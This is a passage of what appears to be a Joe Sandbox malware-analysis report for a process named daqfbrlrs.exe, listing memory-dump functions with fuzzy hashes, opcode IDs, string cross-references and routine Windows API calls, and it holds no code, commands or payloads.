Snapshot File: hcaresult_7_2_6230000_daqfbrlrs.jbxd

Similarity

API ID:
String ID: $]q$$]q$$]q$$]q
API String ID: 0-858218434
Opcode ID: 6e693997f6805025ea923d6ffe9883ab61073165bf9e20a0e7a36b124e79529f
Instruction ID: 4c239d31987c0ddb17da2047336ad03eaed0ed0a6a29677c33118b3c8799e5d4
Opcode Fuzzy Hash: 6e693997f6805025ea923d6ffe9883ab61073165bf9e20a0e7a36b124e79529f
Instruction Fuzzy Hash: 1AB13D70A10219CFDB54DFA8D594AAEB7B6FF84300F248529E8069F355DB79DC46CB80

Uniqueness

Uniqueness Score: -1.00%

Function 062387B0 Relevance: 5.2, Strings: 4, Instructions: 168COMMON

Download Yara Rule

Strings

LR]q, xrefs: 062388A3
LR]q, xrefs: 062388F2
$]q, xrefs: 0623883B
$]q, xrefs: 0623882F

Memory Dump Source

Source File: 00000007.00000002.3266475026.0000000006230000.00000040.00000800.00020000.00000000.sdmp, Offset: 06230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6230000_daqfbrlrs.jbxd

Similarity

API ID:
String ID: LR]q$LR]q$$]q$$]q
API String ID: 0-3527005858
Opcode ID: d8f3771d99820143ecff1856c43782c64763106ca31c0f11b2adf9a309cfcbd9
Instruction ID: 8b2d6b1ef22800f7311be6393f4dfc280949ab58006edc804ec04542711cf03c
Opcode Fuzzy Hash: d8f3771d99820143ecff1856c43782c64763106ca31c0f11b2adf9a309cfcbd9
Instruction Fuzzy Hash: 0951AE70B202159FDB58EF28D980E6AB7E6FF84304F108569E9069F369DB34EC05CB91

Uniqueness

Uniqueness Score: -1.00%

Function 0623AC80 Relevance: 5.2, Strings: 4, Instructions: 165COMMON

Download Yara Rule

Strings

$]q, xrefs: 0623AE33
$]q, xrefs: 0623AE04
$]q, xrefs: 0623AE5C
$]q, xrefs: 0623ADB1

Memory Dump Source

Source File: 00000007.00000002.3266475026.0000000006230000.00000040.00000800.00020000.00000000.sdmp, Offset: 06230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6230000_daqfbrlrs.jbxd

Similarity

API ID:
String ID: $]q$$]q$$]q$$]q
API String ID: 0-858218434
Opcode ID: 31c5cdd4149ec89483ecbc75d77f5cd5a66b74564d10fbdef1baf30bacb677ad
Instruction ID: 59c4f81112b2d04ad6cfb8d81e8d95769bf79230e74089a8588ade3b695f42f5
Opcode Fuzzy Hash: 31c5cdd4149ec89483ecbc75d77f5cd5a66b74564d10fbdef1baf30bacb677ad
Instruction Fuzzy Hash: 2A519270A202198FDB69DB68D590AAEB7B6EF85310F108939EC86D7355DB31DC01CB90

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: daqfbrlrs.exePID: 4580, Parent PID: 6772COMMON

Execution Graph

Execution Coverage:	11.4%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	143
Total number of Limit Nodes:	16

Executed Functions

Function 06652340 Relevance: 9.0, Strings: 6, Instructions: 1490COMMON

Download Yara Rule

Strings

$]q, xrefs: 0665373B
$]q, xrefs: 0665377C
$]q, xrefs: 06653758
$]q, xrefs: 0665372F
$]q, xrefs: 06653764
$]q, xrefs: 06653788

Memory Dump Source

Source File: 00000008.00000002.3266027450.0000000006650000.00000040.00000800.00020000.00000000.sdmp, Offset: 06650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6650000_daqfbrlrs.jbxd

Similarity

API ID:
String ID: $]q$$]q$$]q$$]q$$]q$$]q
API String ID: 0-3723351465
Opcode ID: e480c0cfdc69a91cb5acc5b164af32fefd17d3f19f5242c458e8cc5fd99690ee
Instruction ID: 83ef272520bd27a2780b55092a555464d89a5fa6515f543a86c7f9511e4f306e
Opcode Fuzzy Hash: e480c0cfdc69a91cb5acc5b164af32fefd17d3f19f5242c458e8cc5fd99690ee
Instruction Fuzzy Hash: 07D26A34E002098FCB64DF68C495A9DB7F6FF89304F55856AD809AB365EB34ED85CB80

Uniqueness

Uniqueness Score: -1.00%

Function 0665B1F8 Relevance: 8.3, Strings: 6, Instructions: 760COMMON

Download Yara Rule

Strings

$]q, xrefs: 0665BB75
$]q, xrefs: 0665BB69
$]q, xrefs: 0665BB9D
$]q, xrefs: 0665BBD1
$]q, xrefs: 0665BBDD
$]q, xrefs: 0665BBA9

Memory Dump Source

Source File: 00000008.00000002.3266027450.0000000006650000.00000040.00000800.00020000.00000000.sdmp, Offset: 06650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6650000_daqfbrlrs.jbxd

Similarity

API ID:
String ID: $]q$$]q$$]q$$]q$$]q$$]q
API String ID: 0-3723351465
Opcode ID: 80f2cd9a7a7f3d05cf964d948ad776261017d198cfc41d285686790a56f14b18
Instruction ID: e285715658357dba85e11193a452a0fba2ceb0a59d7e8037c56c1ea1a36ddf4b
Opcode Fuzzy Hash: 80f2cd9a7a7f3d05cf964d948ad776261017d198cfc41d285686790a56f14b18
Instruction Fuzzy Hash: AE527D30E002098FDF64DF69D5A17ADB7B6EB85310F21882AE845EB395DB34DC85CB91

Uniqueness

Uniqueness Score: -1.00%

Function 06657D40 Relevance: 3.0, Strings: 2, Instructions: 474
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$]q, xrefs: 066582B8
$]q, xrefs: 066582AC

Memory Dump Source

Source File: 00000008.00000002.3266027450.0000000006650000.00000040.00000800.00020000.00000000.sdmp, Offset: 06650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6650000_daqfbrlrs.jbxd

Similarity

API ID:
String ID: $]q$$]q
API String ID: 0-127220927
Opcode ID: 6e4447a3559a09c612cbedb1b6164c6c1256a3e86746ae94828781c87ccbd160
Instruction ID: 90637f0343046b6ed8f33f3b3026ff6fbb0eca81a44117080314a76710dd46db
Opcode Fuzzy Hash: 6e4447a3559a09c612cbedb1b6164c6c1256a3e86746ae94828781c87ccbd160
Instruction Fuzzy Hash: 0A02BE30B002198FDB54DF68D891A6EBBE6FF84304F158529E805DB395DB35EC46CB81

Uniqueness

Uniqueness Score: -1.00%

Function 066565A8 Relevance: .8, Instructions: 819COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.3266027450.0000000006650000.00000040.00000800.00020000.00000000.sdmp, Offset: 06650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6650000_daqfbrlrs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 92c4efda2efc97134ce12e3c697f4f975c3121c31957ba95a6943c45027b5489
Instruction ID: 5f0080d187af8ade7ff8727ea29cbcc447b1b0b9a2afd922cf95814bef0f33a1
Opcode Fuzzy Hash: 92c4efda2efc97134ce12e3c697f4f975c3121c31957ba95a6943c45027b5489
Instruction Fuzzy Hash: 1862D134B002058FDB64DB68D995BADBBF2EF88314F558429E805DB3A4DB35EC46CB80

Uniqueness

Uniqueness Score: -1.00%

Function 0665C150 Relevance: .6, Instructions: 643COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.3266027450.0000000006650000.00000040.00000800.00020000.00000000.sdmp, Offset: 06650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6650000_daqfbrlrs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ebfed759487156215bc364d607f1b9e38d184ac482a2511400cbf8caa6fe113c
Instruction ID: c84c25789569e4578d9dae64723b58eb69d2e8c65f0105a58efca955180a2cd4
Opcode Fuzzy Hash: ebfed759487156215bc364d607f1b9e38d184ac482a2511400cbf8caa6fe113c
Instruction Fuzzy Hash: 73329034B002098FDB54EF68D991BADB7B6EF88314F118529E805EB395DB34EC46CB91

Uniqueness

Uniqueness Score: -1.00%

Function 06655568 Relevance: .6, Instructions: 593COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.3266027450.0000000006650000.00000040.00000800.00020000.00000000.sdmp, Offset: 06650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6650000_daqfbrlrs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3a2fa261352dd84804cf85e855de8e432bc8f824c9b7124ca1006506fa4fb61f
Instruction ID: 45d10176c1c6eb78eee6586f6e9e451347d0bdaa57ed9318020d2276dcb6d8dd
Opcode Fuzzy Hash: 3a2fa261352dd84804cf85e855de8e432bc8f824c9b7124ca1006506fa4fb61f
Instruction Fuzzy Hash: 9D22F335E102199FDF60DFA4C4856AEBBB2FF84310F25846AD80AAB354DB35DD42CB91

Uniqueness

Uniqueness Score: -1.00%

Function 0665AC90 Relevance: 10.4, Strings: 8, Instructions: 395
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$]q, xrefs: 0665AE68
$]q, xrefs: 0665ADBD
$]q, xrefs: 0665AE3F
$]q, xrefs: 0665AE04
$]q, xrefs: 0665AE10
$]q, xrefs: 0665AE5C
$]q, xrefs: 0665AE33
$]q, xrefs: 0665ADB1

Memory Dump Source

Source File: 00000008.00000002.3266027450.0000000006650000.00000040.00000800.00020000.00000000.sdmp, Offset: 06650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6650000_daqfbrlrs.jbxd

Similarity

API ID:
String ID: $]q$$]q$$]q$$]q$$]q$$]q$$]q$$]q
API String ID: 0-1273862796
Opcode ID: a3be02f63e5b63c50ba8a9e2f4a4a8a0d4ba4c40182f62922f25e3c882d97ade
Instruction ID: 328d7d3ab1fb9270cd550cb19b60ec85461cfd7194f56c450d667f9b4b727c0e
Opcode Fuzzy Hash: a3be02f63e5b63c50ba8a9e2f4a4a8a0d4ba4c40182f62922f25e3c882d97ade
Instruction Fuzzy Hash: B4E17030E102098FCB69DFA9D8916AEB7B6FF85300F11862AD805AB355DB34DC46CB91

Uniqueness

Uniqueness Score: -1.00%

Function 06642E03 Relevance: 6.1, APIs: 4, Instructions: 129
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 06642E86
GetCurrentThread.KERNEL32 ref: 06642EC3
GetCurrentProcess.KERNEL32 ref: 06642F00
GetCurrentThreadId.KERNEL32 ref: 06642F59

Memory Dump Source

Source File: 00000008.00000002.3265735449.0000000006640000.00000040.00000800.00020000.00000000.sdmp, Offset: 06640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6640000_daqfbrlrs.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: 376f66811ee71fc365d7dc86f36637b1c5d753061b8c08565b746bfca0e6a4d3
Instruction ID: c020466095cf484fde37180c31e89b03ec8feada035f44e31778424221cbca59
Opcode Fuzzy Hash: 376f66811ee71fc365d7dc86f36637b1c5d753061b8c08565b746bfca0e6a4d3
Instruction Fuzzy Hash: B35159B09013498FDB94DFA9D548BAEBBF5EF88304F208459E019A7350D7385984CB65

Uniqueness

Uniqueness Score: -1.00%

Function 06642E08 Relevance: 6.1, APIs: 4, Instructions: 128
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 06642E86
GetCurrentThread.KERNEL32 ref: 06642EC3
GetCurrentProcess.KERNEL32 ref: 06642F00
GetCurrentThreadId.KERNEL32 ref: 06642F59

Memory Dump Source

Source File: 00000008.00000002.3265735449.0000000006640000.00000040.00000800.00020000.00000000.sdmp, Offset: 06640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6640000_daqfbrlrs.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: 6668035ba9ea819cb1159808a29da930a68b068a866525278c663cf480ba0fc0
Instruction ID: bd4eabb76f463dcc6622d504fd040f360d76cf1c911022d831bde6887d4c4532
Opcode Fuzzy Hash: 6668035ba9ea819cb1159808a29da930a68b068a866525278c663cf480ba0fc0
Instruction Fuzzy Hash: F95159B09003498FDB94DFA9D548BAEBBF5EF88314F208459E019A7350D7785984CB65

Uniqueness

Uniqueness Score: -1.00%

Function 06659110 Relevance: 5.2, Strings: 4, Instructions: 230
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$]q, xrefs: 0665919E
$]q, xrefs: 06659163
$]q, xrefs: 06659157
$]q, xrefs: 06659192

Memory Dump Source

Source File: 00000008.00000002.3266027450.0000000006650000.00000040.00000800.00020000.00000000.sdmp, Offset: 06650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6650000_daqfbrlrs.jbxd

Similarity

API ID:
String ID: $]q$$]q$$]q$$]q
API String ID: 0-858218434
Opcode ID: dce167ab9896d7b80d64bbe2adf24a09e98637dd6cdd78e0607b3d084e39fb6e
Instruction ID: 56531db31f7ea03a6ad9d0e11a8fde157c16c91a6ac85a81b873314b3af0f7b1
Opcode Fuzzy Hash: dce167ab9896d7b80d64bbe2adf24a09e98637dd6cdd78e0607b3d084e39fb6e
Instruction Fuzzy Hash: D4915F30B0021A9FDB54DF69D851BAEB7F6BFC4304F108569C819EB384EE309D468B92

Uniqueness

Uniqueness Score: -1.00%

Function 0665CF00 Relevance: 4.6, Strings: 3, Instructions: 802
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$]q, xrefs: 0665D30B
$]q, xrefs: 0665D2F7
$]q, xrefs: 0665D2FF

Memory Dump Source

Source File: 00000008.00000002.3266027450.0000000006650000.00000040.00000800.00020000.00000000.sdmp, Offset: 06650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6650000_daqfbrlrs.jbxd

Similarity

API ID:
String ID: $]q$$]q$$]q
API String ID: 0-182748909
Opcode ID: e0370e59082d7235d8f1e5b47950690b33cc1e121f3a46fec63628ad80a18b10
Instruction ID: 02eecb22f3ef24582bebfab3a4cd0956ade01afb7e9e56b33f873e2bea4b1354
Opcode Fuzzy Hash: e0370e59082d7235d8f1e5b47950690b33cc1e121f3a46fec63628ad80a18b10
Instruction Fuzzy Hash: 2D62813060020A8FCB55EF68D591A5DB7F6FF84304F118928D8099F369DB75ED8ACB85

Uniqueness

Uniqueness Score: -1.00%

Function 06654B40 Relevance: 3.9, Strings: 3, Instructions: 186
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

XPbq, xrefs: 06654C91
\Obq, xrefs: 06654D1B
fbq, xrefs: 06654B6B

Memory Dump Source

Source File: 00000008.00000002.3266027450.0000000006650000.00000040.00000800.00020000.00000000.sdmp, Offset: 06650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6650000_daqfbrlrs.jbxd

Similarity

API ID:
String ID: fbq$XPbq$\Obq
API String ID: 0-4057264190
Opcode ID: 7265d44b0f46be452646a9e4de50b2fbcbd15e041869082f8b682a67a2679a69
Instruction ID: b9713f1624c9476006d53323bcb7cd09ce9927f6dec8fbcade1fa8eed860b020
Opcode Fuzzy Hash: 7265d44b0f46be452646a9e4de50b2fbcbd15e041869082f8b682a67a2679a69
Instruction Fuzzy Hash: E961A230F102089FEB549FA5C8557AEBBF6FF88300F208529E40AAB395DF758C458B91

Uniqueness

Uniqueness Score: -1.00%

Function 06659100 Relevance: 2.7, Strings: 2, Instructions: 160
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$]q, xrefs: 06659157
$]q, xrefs: 06659192

Memory Dump Source

Source File: 00000008.00000002.3266027450.0000000006650000.00000040.00000800.00020000.00000000.sdmp, Offset: 06650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6650000_daqfbrlrs.jbxd

Similarity

API ID:
String ID: $]q$$]q
API String ID: 0-127220927
Opcode ID: e6da16eec9eeafcea6b73b2032a60285b1798efbd2c130f44a9853ccdac51295
Instruction ID: e72eab8826371a5dfb0c7e0fa96f7bc41122d9e2fef9b70fa03e286eaee45228
Opcode Fuzzy Hash: e6da16eec9eeafcea6b73b2032a60285b1798efbd2c130f44a9853ccdac51295
Instruction Fuzzy Hash: A6519031B40206DFDB54DB78D851BAE77F6ABC8304F10856AC819DB384EE309C46CB92

Uniqueness

Uniqueness Score: -1.00%

Function 06654B30 Relevance: 2.6, Strings: 2, Instructions: 143
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

XPbq, xrefs: 06654C91
fbq, xrefs: 06654B6B

Memory Dump Source

Source File: 00000008.00000002.3266027450.0000000006650000.00000040.00000800.00020000.00000000.sdmp, Offset: 06650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6650000_daqfbrlrs.jbxd

Similarity

API ID:
String ID: fbq$XPbq
API String ID: 0-2292610095
Opcode ID: 5f55597e2a80484922b4232a0e98e1085de1ef20932e4ff0a1ef48fe80e4ed19
Instruction ID: 9899a9c0049c96086d79c7e89b8ae1e7c94fb1f9757ac2d09322d5b9890fb4af
Opcode Fuzzy Hash: 5f55597e2a80484922b4232a0e98e1085de1ef20932e4ff0a1ef48fe80e4ed19
Instruction Fuzzy Hash: 8B519430F102089FDB54DFA5C855BAEBBF6FF88700F208529E409AB395DE758C458B91

Uniqueness

Uniqueness Score: -1.00%

Function 0664B318 Relevance: 1.7, APIs: 1, Instructions: 203
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 0664B57E

Memory Dump Source

Source File: 00000008.00000002.3265735449.0000000006640000.00000040.00000800.00020000.00000000.sdmp, Offset: 06640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6640000_daqfbrlrs.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 009aa3d9587814f3e752878d297bf2080da7d10b2cceaa77674a42288d1fa367
Instruction ID: 5f39a1f55488c5c4998562c46b0ee051421a1bd2be826e7ab4f5c46a279fced9
Opcode Fuzzy Hash: 009aa3d9587814f3e752878d297bf2080da7d10b2cceaa77674a42288d1fa367
Instruction Fuzzy Hash: B5813370A00B059FD7A4EF2AD44075ABBF5FF88340F008A2AD48697B54DB75E849CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 0664D504 Relevance: 1.6, APIs: 1, Instructions: 120COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 0664D622

Memory Dump Source

Source File: 00000008.00000002.3265735449.0000000006640000.00000040.00000800.00020000.00000000.sdmp, Offset: 06640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6640000_daqfbrlrs.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: 3411f9a693e9591e6d97cc00b5ac3f0fd3084e284705da180cc201b6229e7b31
Instruction ID: 80d0207fca1c52e41d5dba48c3340b6700379111a9f46a813ad1ccf38ef16c23
Opcode Fuzzy Hash: 3411f9a693e9591e6d97cc00b5ac3f0fd3084e284705da180cc201b6229e7b31
Instruction Fuzzy Hash: 1451B0B1D003499FDB14DF9AC884ADEBFB6FF48314F24852AE819AB250D775A845CF90

Uniqueness

Uniqueness Score: -1.00%

Function 0664D510 Relevance: 1.6, APIs: 1, Instructions: 113COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 0664D622

Memory Dump Source

Source File: 00000008.00000002.3265735449.0000000006640000.00000040.00000800.00020000.00000000.sdmp, Offset: 06640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6640000_daqfbrlrs.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: d9b75173151a9b4cd97a13fe389899caa39328ded359dea232f051e65c8d8e55
Instruction ID: fdf2d8d76dd52589ec5ddc6028695e207f1cced6196ffa833234a25c49a785c7
Opcode Fuzzy Hash: d9b75173151a9b4cd97a13fe389899caa39328ded359dea232f051e65c8d8e55
Instruction Fuzzy Hash: 1241AFB1D003099FDB14DF9AC884ADEBBB6BF48314F24852AE819AB210D775A845CF90

Uniqueness

Uniqueness Score: -1.00%

Function 0664E49C Relevance: 1.6, APIs: 1, Instructions: 97COMMON

Download Yara Rule

APIs

CallWindowProcW.USER32(?,?,?,?,?), ref: 0664FD11

Memory Dump Source

Source File: 00000008.00000002.3265735449.0000000006640000.00000040.00000800.00020000.00000000.sdmp, Offset: 06640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6640000_daqfbrlrs.jbxd

Similarity

API ID: CallProcWindow
String ID:
API String ID: 2714655100-0
Opcode ID: da9a8b9c49629c4866f53d6379ad99c68adc7d77aabdcc515bccaefe6f5248da
Instruction ID: 21b377d3bfa675c45a62aa678946b410e0bf3c9753389307ee706258d0c03eea
Opcode Fuzzy Hash: da9a8b9c49629c4866f53d6379ad99c68adc7d77aabdcc515bccaefe6f5248da
Instruction Fuzzy Hash: E14147B4900309CFDB54DF99C488AAABBF5FF88314F24C859E519AB321D374A841CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 06643048 Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 066430D7

Memory Dump Source

Source File: 00000008.00000002.3265735449.0000000006640000.00000040.00000800.00020000.00000000.sdmp, Offset: 06640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6640000_daqfbrlrs.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 5095f954f0cd313c6cc05f67a0939c03649289200a41a3e2db65a00380b350b9
Instruction ID: 432b1408723133337643832a6639f7578e528f785fefe442ed346d1f9c5eed2c
Opcode Fuzzy Hash: 5095f954f0cd313c6cc05f67a0939c03649289200a41a3e2db65a00380b350b9
Instruction Fuzzy Hash: E721E4B5D002189FDB10CF9AD584AEEBFF5FB48310F14851AE919A3350D379A944CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 06643050 Relevance: 1.6, APIs: 1, Instructions: 62COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 066430D7

Memory Dump Source

Source File: 00000008.00000002.3265735449.0000000006640000.00000040.00000800.00020000.00000000.sdmp, Offset: 06640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6640000_daqfbrlrs.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 24695ea96ab0cc682de6babe25755e59c8601748468fe7ad3470710d0429c759
Instruction ID: 9f2b1308854329a08497816697ef6a601ccff537f40fb0183726766996b1c006
Opcode Fuzzy Hash: 24695ea96ab0cc682de6babe25755e59c8601748468fe7ad3470710d0429c759
Instruction Fuzzy Hash: F921C4B59002489FDB10DF9AD984AEEFFF9FB48310F14841AE918A3350D379A944CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 00F0ED4F Relevance: 1.6, APIs: 1, Instructions: 59COMMON

Download Yara Rule

APIs

GlobalMemoryStatusEx.KERNELBASE(?,?,?,?,?,?,?,?,?,00F0ECE2), ref: 00F0EDCF

Memory Dump Source

Source File: 00000008.00000002.3236048374.0000000000F00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_f00000_daqfbrlrs.jbxd

Similarity

API ID: GlobalMemoryStatus
String ID:
API String ID: 1890195054-0
Opcode ID: ef3b90736c55681a3ab5efcf30c59fa545c405fb48f7e7dd5a3aea5315d96e1a
Instruction ID: a47120cf15ae39d6a20ba5452faad39931d7b2d6e33a5ee23cba912270f35e2d
Opcode Fuzzy Hash: ef3b90736c55681a3ab5efcf30c59fa545c405fb48f7e7dd5a3aea5315d96e1a
Instruction Fuzzy Hash: FB2130B2C012598FCB10DFAAD549BDEFBF4EF08320F15856AD918A7241D778A944CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 0664B77A Relevance: 1.6, APIs: 1, Instructions: 57libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNELBASE(00000000,00000000,?,?,?,?,00000000,?,0664B5F9,00000800,00000000,00000000), ref: 0664B7EA

Memory Dump Source

Source File: 00000008.00000002.3265735449.0000000006640000.00000040.00000800.00020000.00000000.sdmp, Offset: 06640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6640000_daqfbrlrs.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 004e57626d8c3bdf571880501d1e1473d4efd52a3ca8422759fd56d67c749e85
Instruction ID: 6f2e4af20ff3e1a94a0f2f4977e4b69da91f708f9fd1de10579750b5c14f4e52
Opcode Fuzzy Hash: 004e57626d8c3bdf571880501d1e1473d4efd52a3ca8422759fd56d67c749e85
Instruction Fuzzy Hash: 391126B6C002499FDB20DF9AD844ADEFBF9EF88310F14842AD419A7300C379A545CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 00F0E3F8 Relevance: 1.6, APIs: 1, Instructions: 55COMMON

Download Yara Rule

APIs

GlobalMemoryStatusEx.KERNELBASE(?,?,?,?,?,?,?,?,?,00F0ECE2), ref: 00F0EDCF

Memory Dump Source

Source File: 00000008.00000002.3236048374.0000000000F00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_f00000_daqfbrlrs.jbxd

Similarity

API ID: GlobalMemoryStatus
String ID:
API String ID: 1890195054-0
Opcode ID: 7ac1aceeae209b5b4e454d8e6a290f74149b470aebd387367acabb7c2b81941e
Instruction ID: 872813b2160d7b5a1c217e1f9db3928a5531382f900374f0387db8d9da8f302b
Opcode Fuzzy Hash: 7ac1aceeae209b5b4e454d8e6a290f74149b470aebd387367acabb7c2b81941e
Instruction Fuzzy Hash: 3B1100B1C006599BCB10DF9AC544BAEFBF4EF48320F10856AE918A7240D778A944DFE1

Uniqueness

Uniqueness Score: -1.00%

Function 0664A2D0 Relevance: 1.6, APIs: 1, Instructions: 55libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNELBASE(00000000,00000000,?,?,?,?,00000000,?,0664B5F9,00000800,00000000,00000000), ref: 0664B7EA

Memory Dump Source

Source File: 00000008.00000002.3265735449.0000000006640000.00000040.00000800.00020000.00000000.sdmp, Offset: 06640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6640000_daqfbrlrs.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 68aec9080325ccf6be4c395dbf1683221153d485643f298d785f26bf64a59341
Instruction ID: c46c78ce648293c7956a10c54a50be816656cd115f855f253463ca2ed93dd7ce
Opcode Fuzzy Hash: 68aec9080325ccf6be4c395dbf1683221153d485643f298d785f26bf64a59341
Instruction Fuzzy Hash: 5B1114B6C042099FDB10DFAAC444AEEFBF9EB48310F10842AE519A7210C379A545CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 0664B518 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 0664B57E

Memory Dump Source

Source File: 00000008.00000002.3265735449.0000000006640000.00000040.00000800.00020000.00000000.sdmp, Offset: 06640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6640000_daqfbrlrs.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 2d8f5a6915fe0fe22625388828d2365f638e588b9ca2ef38dd2f29e64351a250
Instruction ID: f1cf8dfa1d9f1f4a5d35b79ce96d5221b519b07c1f3ee8582ff0d066092d7f67
Opcode Fuzzy Hash: 2d8f5a6915fe0fe22625388828d2365f638e588b9ca2ef38dd2f29e64351a250
Instruction Fuzzy Hash: 4511E0B5C003498FCB14DF9AC444ADEFBF5EF88314F14842AD419A7610D379A545CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 0665DA88 Relevance: 1.4, Strings: 1, Instructions: 117COMMON

Download Yara Rule

Strings

PH]q, xrefs: 0665DBD1

Memory Dump Source

Source File: 00000008.00000002.3266027450.0000000006650000.00000040.00000800.00020000.00000000.sdmp, Offset: 06650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6650000_daqfbrlrs.jbxd

Similarity

API ID:
String ID: PH]q
API String ID: 0-3168235125
Opcode ID: 0a6467d9201aba2d864dd423ee717802a1f243bb2d96980dc647bde34cb1c399
Instruction ID: d96746d2a5f2f8cc6e1014b9ce3e93bc6abcbb72a936f0f62bc709d2e90a29f2
Opcode Fuzzy Hash: 0a6467d9201aba2d864dd423ee717802a1f243bb2d96980dc647bde34cb1c399
Instruction Fuzzy Hash: FC41B170E0020ADFDB55DFA5C85169EBBB6FF85300F114929E805EB384DB70D946CB85

Uniqueness

Uniqueness Score: -1.00%

Function 0665DA75 Relevance: 1.4, Strings: 1, Instructions: 116COMMON

Download Yara Rule

Strings

PH]q, xrefs: 0665DBD1

Memory Dump Source

Source File: 00000008.00000002.3266027450.0000000006650000.00000040.00000800.00020000.00000000.sdmp, Offset: 06650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6650000_daqfbrlrs.jbxd

Similarity

API ID:
String ID: PH]q
API String ID: 0-3168235125
Opcode ID: dd099954eefd01a5c17aebb4f25a48b2835152324534e974737091f34f10e50d
Instruction ID: da26232226949bd22e549982b7bfe9912b3f1d9227d789a51d5c83af1f6815ac
